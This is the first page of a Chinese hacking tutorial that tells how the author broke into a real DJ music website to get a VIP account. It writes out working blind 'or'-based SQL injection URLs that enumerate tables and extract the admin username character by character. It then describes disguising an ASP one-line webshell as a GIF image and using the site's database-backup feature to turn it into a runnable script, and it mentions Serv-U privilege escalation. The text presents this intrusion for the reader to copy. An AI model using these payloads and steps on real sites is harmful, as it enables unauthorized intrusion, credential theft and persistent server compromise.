瞧我是怎样轻轻松松入侵你DJ。入侵让我回想起Gene6的提权,虽然虚拟主机的目录权限早已设置得死死的,但兴幸的是Documents这样的目录并没有被设置,而且Serv-U默认只允许127.0.0.1(也就是本地,当然,你也可以把Serv-U设置成0.0.0.0这样,也就是无限制连接)访问43958端口,所以可以通过转发来解决来这个问题。
or突破防注入
春节呆在家里上网,我表哥突然找我说要一个DJ网站的VIP会员,说搞定后请我吃KFC,于是就答应了。用IE打开目标网站,找到一个带参数的ASP链接,如图1
图1 |
提交AND 1=1,如图2
图2 |
可能到了这里,有些读者会选择放弃。其实,如果一个网站的防注入不是过滤得很严的话,可以试试or注入。
向注入点提交or 1=1,发现跳到另外一个页面了,如图3
图3 |
然后or 1=2返回最原始的页面了,如图4
图4 |
由于or的特性,当查询条件为真的时候,返回是异常的,当查询条件为假的时候,返回是正常的。用如下语句:
/productsview2.asp?id=248 or exists(select * from admin) //判断是否存在admin这个表,发现页面返回
正常,也就是图4,说明不存在admin这个表。
/productsview2.asp?id=248 or exists(select * from manage) //页面返回异常了,也就是图3,说明存在manage这个表。猜完表后就要猜解字段了。
/productsview2.asp?id=248 or exists(select username from manage) //返回异常页面了,说明manage这个表中含有username这个字段,这时我们就可以猜数据了。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form. manage)<123 //判断manage表中username字段的第一条数据的第一个字符的ascii值是否小于123,提交后发现返回异常页面。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form. manage)>96 //提交后发现返回异常页面,得到第一个字符的ascii值范围在97-122之间,也就是在字母a-z之间,再慢慢缩小猜解的范围直到猜解出来用牛族多功能ASCII转换工具转换一下就可以得到管理员用户名的第一个字符了。需要猜解第二位的时候把上面语句改为mid(username,2,1),第三位mid(username,3,1)……如此类推。经过一番努力,得到username字段的第一条数据的ASCII值为97 100 109 105 110,转换得出字符串为admin。猜解完用户名还需要猜解密码,先猜字符再猜数据。
html备份限制的突破
用明小子跑了下后台,如图5
图5 |
用注入得到的用户密码登陆后台,逛了一圈之后发现有备份数据库的地方,如图6
图6 |
不过有HTML限制,这个可以突破的。
“查看”-“源文件”-“文件”-“另存为”,保存到本地。
接着用文本格式打开它,找到“
图7 |
原来是判断文件头,这时我们可以借助ASP图片木马生成器这款软件,先把一张比较小的图片(经过后来的测试发现除了判断文件头还判断大小)和一个asp一句话木马放到这款软件的目录下,写好名称进行生成,如图8
图8 |
就会在所在目录生成一个“aspmuma.gif”图片木马,把它上传上去,如图9
图9 |
把返回的相对路径按照上面的方法替换好,打开后如图10
图10 |
写好备份后的路径进行备份,如图11。
图11 |
共2页: 1 [2] 下一页 | ||||
|